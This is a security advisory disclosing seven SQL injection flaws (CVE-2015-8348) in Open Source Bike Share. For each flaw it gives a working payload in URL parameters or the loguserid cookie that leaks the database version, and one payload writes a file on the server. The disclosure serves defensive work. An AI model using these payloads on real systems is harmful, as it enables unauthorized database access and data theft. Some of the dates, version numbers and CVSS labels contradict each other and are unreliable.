Total Tests:

Multiple SQL Injections in Open Source Bike Share

Advisory ID:HTB23271
Product:Open Source Bike Share
Vendor:Open Source Bike Share
Vulnerable Versions:16.09.15 and probably prior
Tested Version:16.09.15
Advisory Publication:September 16, 2015 [without technical details]
Vendor Notification:September 16, 2015
Public Disclosure:September 26, 2018
Latest Update:September 27, 2016
Vulnerability Type:SQL Injection [CWE-89]
CVE Reference:CVE-2015-8348
Risk Level:High
CVSSv2 Base Score:8.3 [CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L]
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple SQL injection vulnerabilities in Open Source Bike Share. Successful exploitation of these vulnerabilities will enable the attacker to obtain sensitive data from the database such as usernames and passwords, to post fake content or malware on the website. Advanced exploitation techniques along may allow to read and write files on the system, and even compromise the entire server.

1) Multiple SQL Injections in Open Source Bike Share: CVE-2015-8348

1.1 The vulnerability exists due to absence of sanitization of user-supplied input data passed via the "number" HTTP GET parameter to "/command.php" script. A remote unauthenticated attacker can alter the present SQL query and read, modify or delete sensitive content from the application's database.

A simple exploit below will modify the existing query and display version of MySQL server:
http://[host]/command.php?action=resetpassword&number=3%27%20OR%201=%28selec t%20min%28@a:=1%29from%20%28select%201%20union%20select%202%29k%20group%20by %20%28select%20concat%28@@version,0x0,@a:=%28@a%2b1%29%2%29%29%29%20--%202

1.2 The vulnerability exists due to absence of sanitization of user-supplied input data passed via the "loguserid" HTTP COOKIE to "/command.php" script when "action" HTTP GET parameter is set to "rent", "return", "validatecoupon", "forcerent", "forcereturn", "where", "removenote", "revert", "last", "stands", "userlist", "userstats", "usagestats", "trips", "couponlist", "generatecoupons", "sellcoupon", "userbikes", "map:status", "edituser" or "saveuser". A remote unauthenticated attacker can alter the present SQL query and read, modify or delete sensitive content from the application's database.

A simple exploit below will modify the existing query and display version of MySQL server:
GET /command.php?action=rent
Cookie: loguserid=1 OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a%2b1)%2)));


1.3 The vulnerability exists due to absence of sanitization of user-supplied input data passed via the "loguserid" HTTP COOKIE to "/scan.php/rent/" URL. A remote unauthenticated attacker can alter the present SQL query and read, modify or delete sensitive content from the application's database.

A simple exploit below will modify the existing query and display version of MySQL server:
GET /scan.php/rent/
Cookie: loguserid=1 OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a%2b1)%2)));


1.4 The vulnerability exists due to absence of sanitization of user-supplied input data passed via the "loguserid" HTTP COOKIE to "/scan.php/return/" URL. A remote unauthenticated attacker can alter the present SQL query and read, modify or delete sensitive content from the application's database.

A simple exploit below will modify the existing query and display version of MySQL server:
GET /scan.php/return/
Cookie: loguserid=1 OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a%2b1)%2)));


1.5 The vulnerability exists due to absence of sanitization of user-supplied input data passed via the "coupon" HTTP GET parameter to "/command.php" script, when "action" is set to "validatecoupon". A remote unauthenticated attacker can alter the present SQL query and read, modify or delete sensitive content from the application's database.

A simple exploit below will modify the existing query and write version of MySQL server into "/tmp/file" file:
http://[host]/command.php?action=validatecoupon&coupon=%27%20union%20select% 20version%28%29,1%20INTO%20OUTFILE%20%27/tmp/file%27%20--%202

1.6 The vulnerability exists due to absence of sanitization of user-supplied input data passed via the "bikeno" HTTP GET parameter to "/command.php" script. A remote unauthenticated attacker can alter the present SQL query and read, modify or delete sensitive content from the application's database.

A simple exploit below will modify the existing query and display version of MySQL server:
http://[host]/command.php?action=where&bikeno=1%20OR%201=%28select%20min%28@ a:=1%29from%20%28select%201%20union%20select%202%29k%20group%20by%20%28selec t%20concat%28@@version,0x0,@a:=%28@a%2b1%29%2%29%29%29

1.7 The vulnerability exists due to absence of sanitization of user-supplied input data passed via the "coupon" HTTP GET parameter to "/command.php" script, when "action" is set to "sellcoupon". A remote unauthenticated attacker can alter the present SQL query and read, modify or delete sensitive content from the application's database.

A simple PoC below triggers an error in SQL query, proving existence of vulnerability:
http://[host]/command.php?action=sellcoupon&coupon=%27SQL_CODE_HERE


Solution:
Vendor notified, awaiting vendor solution.


References:
[1] High-Tech Bridge Advisory HTB23271 - https://www.immuniweb.com/advisory/HTB23271 - Multiple SQL Injections in Open Source Bike Share.
[2] Open Source Bike Share - http://OpenSourceBikeShare.com - The world's first low-cost and open source bike sharing system.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a technical question?

Our security experts will answer within
one business day. No obligations.

Have a sales question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
Your data will stay private and confidential